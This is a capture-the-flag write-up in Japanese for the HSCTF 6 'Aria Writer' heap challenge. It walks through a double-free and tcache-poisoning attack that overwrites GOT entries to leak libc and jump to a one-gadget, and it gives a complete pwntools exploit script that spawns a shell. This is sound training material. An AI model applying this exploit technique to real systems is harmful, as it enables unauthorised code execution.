---
tags: pwn
---
# HSCTF 6 - Aria Writer
これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU
## 公式リポジトリ
<https://github.com/hsncsclub/HSCTF-6-Problems>
## Writeup
### outline
libc-2.27なので例によってtcache poisoning。
問題はshow機能が無いのでlibc leakの為にGOT Overwriteをして何らかの関数をputsにし、更に何らかの既に呼ばれたGOTを設定する必要がある。しかもこのGOT Overwriteが出来そうなのがfreeしかないのでlibc leak後はfree出来ない。
よってlibc leak前に各サイズのtcacheの先頭を変更したいポインタにしておき最後に一気にcreate + editをすることでlibc leak + シェル起動のためのGOT Overwrite(one gadgetを仕込む)を行う。
### binary
```
$ checksec aria-writer
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
PIEが無いのでGOTやらPLTは簡単に使えそう。RELROもFullではないのでGOT Overwriteが狙える。
main関数のデコンパイルはこちら
```clike
void main(void)
{
int __n;
size_t sVar1;
int local_18;
local_18 = 0;
setvbuf(stdout,(char *)0x0,2,0);
printf("whats your name > ");
fgets(name,200,stdin);
sVar1 = strlen(name);
if (name[(long)((int)sVar1 + -1)] == '\n') {
name[(long)((int)sVar1 + -1)] = 0;
}
printf("hi %s!\n");
while( true ) {
while( true ) {
while( true ) {
prompt();
__n = get_int();
if (__n != 2) break;
if (7 < local_18) {
puts("why r u so indecisive...");
/* WARNING: Subroutine does not return */
exit(0);
}
local_18 = local_18 + 1;
puts("ok that letter was bad anyways...");
free(global);
}
if (__n != 3) break;
printf("secret name o: :");
write(1,name,200);
putchar(10);
}
if (__n != 1) {
puts("That\'s not a choice! :(");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("how long should it be? ");
__n = get_int();
if (__n < 1) {
puts("omggg haxor!1!");
/* WARNING: Subroutine does not return */
exit(0);
}
if (0x1a4 < __n) break;
global = (char *)malloc((long)__n);
printf("what should i write tho > ");
fgets(global,__n,stdin);
}
puts("i can\'t write that much :/");
/* WARNING: Subroutine does not return */
exit(0);
}
```
選択肢入力で使われている`get_int`のデコンパイルはこちら↓
```clike
ulong get_int(void)
{
uint uVar1;
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Gimme int pls > ");
read(0,local_58,4);
uVar1 = atoi(local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return (ulong)uVar1;
}
```
最初に名前の入力を促すこと以外は普通のHeap問題っぽい、但しshow機能が見られない(何故か名前の開示は出来る)。
1. `write(size, data)`: 手紙のサイズを入力しそのサイズで確保した領域のポインタを`global`に代入する。その後、そのサイズまでの入力を確保した領域へ書き込む
2. `throw`: `global`を解放する、但し7回までしか出来ない
3. `show name`: 最初に入力した名前を表示する(これいる?)
それ以外の選択肢は用意されておらず、プログラムが終了する
`throw`は特にチェックが行われていないのでDouble Freeが出来る。
### libc leak
一番悩んだところ。なにせshow機能が無い。
最初`show name`を利用するのかと思ったがDouble Freeでは`*p = v`のような代入は出来ても`*p = *_p`のような代入は出来ない。したがってグローバル変数`name`の中身にどこかのGOTの中身を持ってくることは出来ない(たぶん)。
というわけでプログラム中から`func(p)`のようなものを探し出し、`func`を`puts`に、`p`をアドレス解決済のGOTにしてlibc leakを狙う。
ということでそういう箇所を探すと唯一`free(global)`がその候補になる。
問題はGOT Overwriteで`free`を書き換えてしまうと以後`free`が出来なくなる。実際に値が書き換わるのは`write`を呼んで確保と編集をする時なので次のようなtcacheを構成しておけば`free`が`puts`に置き換わってしまっても、各サイズの`write`を呼ぶだけで値を書き換えることが出来る。
```
~~ tcache (size: 0x20) ~~
free@GOT -> ???
~~ tcache (size: 0x30) ~~
global -> ???
~~ tcache (size: 0x40) ~~
p -> ???
...
```
具体的なtcacheの構成方法だが[SECCON Beginners CTF 2019 - Babyheap](/yYXGki35TMemC0Jxi9xUHA)で説明しているのと殆ど同じである。
1. `write(size1, data)`
```
global = a, *a = data, strlen(data) = size1
```
2. `throw()`
```
global = a, *a = null
~~ tcache (size: size1) ~~
a -> null
```
3. `throw()`
```
global = a, *a = a
~~ tcache (size: size1) ~~
a -> a -> ...
```
4. `write(size1, p)`
```
global = a, *a = p
~~ tcache (size: size1) ~~
a -> p -> ???
```
5. `write(size1, data)`
```
global = a, *a = data
~~ tcache (size: size1) ~~
p -> ???
```
ここで次の`write`を行ってしまうと実際に値が書き換わってしまうのでここで止めておく。そして別のサイズのtcacheでも同じ手順を取ればめでたく各サイズのtcacheの先頭に目当てのポインタが来ることになる。
このようなtcacheを構成してから`write(0x20, puts@plt)` -> `write(0x30, func@got)`とすると、以後`free`を呼ぶと`puts`になるため`throw`時に`puts(func@got)`が呼ばれてlibcの配置場所がわかる(ここでは適当に`setvbuf`を利用した)。
### One Gadget
libcがわかったので後は`system("/bin/sh")`かOne Gadgetを呼ぶだけである。今回はOne Gadgetを利用した。
先程のtcache構成の際に残しておいたサイズ0x40のtcacheを利用して`write(0x40, one_gadget)`とし、`exit@got`の中身をOne Gadgetに書き換える。そして後は適当に`exit`に辿り着くような入力をすれば良い、具体的には選択肢の入力で数字以外を入力した。
`system("/bin/sh")`を利用する場合は`get_int`内で入力を`atoi`に渡しているので`atoi@got`を`system`に書き換えてしまうのが良いと思われる(試してないです)(※追記: 直前の`read`が4バイトしか読まないので無理でした -> shだけでできた)
## Code
```python
from pwn import process, remote, p64, u64, ELF
def pad_u64(b):
while len(b) < 8:
b += b"\x00"
return u64(b)
def _select(s, sel, c=b"> "):
s.recvuntil(c)
s.sendline(sel)
# malloc & write
def mwrite(s, size, data=b"junk"):
print("[+] mwrite")
_select(s, b"1")
s.recvuntil(b"> ")
s.sendline(str(size).encode())
s.recvuntil(b"> ")
s.sendline(data)
def free(s):
print("[+] free")
_select(s, b"2")
# printf(show)
def show(s):
print("[+] show")
_select(s, b"3")
s.recvuntil(b"secret name o: :")
r = s.recvline().rstrip()
return r
if __name__ == '__main__':
target = "localhost"
port = 2222
binary = "./aria-writer"
libc_file = "./libc-2.27.so"
elf = ELF(binary)
glo = elf.symbols["global"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
setbuf_got = elf.got["setvbuf"]
exit_got = elf.got["exit"]
libc = ELF(libc_file)
setbuf_libc = libc.symbols["setvbuf"]
one_gadget = 0x4f322
print(hex(glo))
print(hex(puts_plt))
s = remote(target, port)
s.recvuntil(b"> ")
s.sendline(b"/bin/sh")
# top of tcache(0x20) = global
size = 0x20
mwrite(s, size)
free(s)
free(s)
mwrite(s, size, p64(glo))
mwrite(s, size)
# top of tcache(0x30) = free@got
size = 0x30
mwrite(s, size)
free(s)
free(s)
mwrite(s, size, p64(free_got))
mwrite(s, size)
# top of tcache(0x40) = exit@got
size = 0x40
mwrite(s, size)
free(s)
free(s)
mwrite(s, size, p64(exit_got))
mwrite(s, size)
# *free@got = puts@plt
mwrite(s, 0x30, p64(puts_plt))
# *global = setbuf@got
mwrite(s, 0x20, p64(setbuf_got))
# libc leak
free(s)
s.recvline()
libc_addr = pad_u64(s.recvline().rstrip()) - setbuf_libc
print(hex(libc_addr))
mwrite(s, 0x40, p64(libc_addr + one_gadget))
_select(s, b"unko")
s.interactive()
```
## Flag
`hsctf{1_should_tho}`
## 感想
サイズごとにtcacheのリストが分かれていることを利用すると複数の値を順にcreate+editしていくだけで一気に変更できるのが新鮮だった。
tcacheがサイズ毎に分かれている事を思い出せたのでそろそろtcache初級編は突破出来たかもしれない。
ところで`name`を利用する解法が思い付いた方は教えて下さい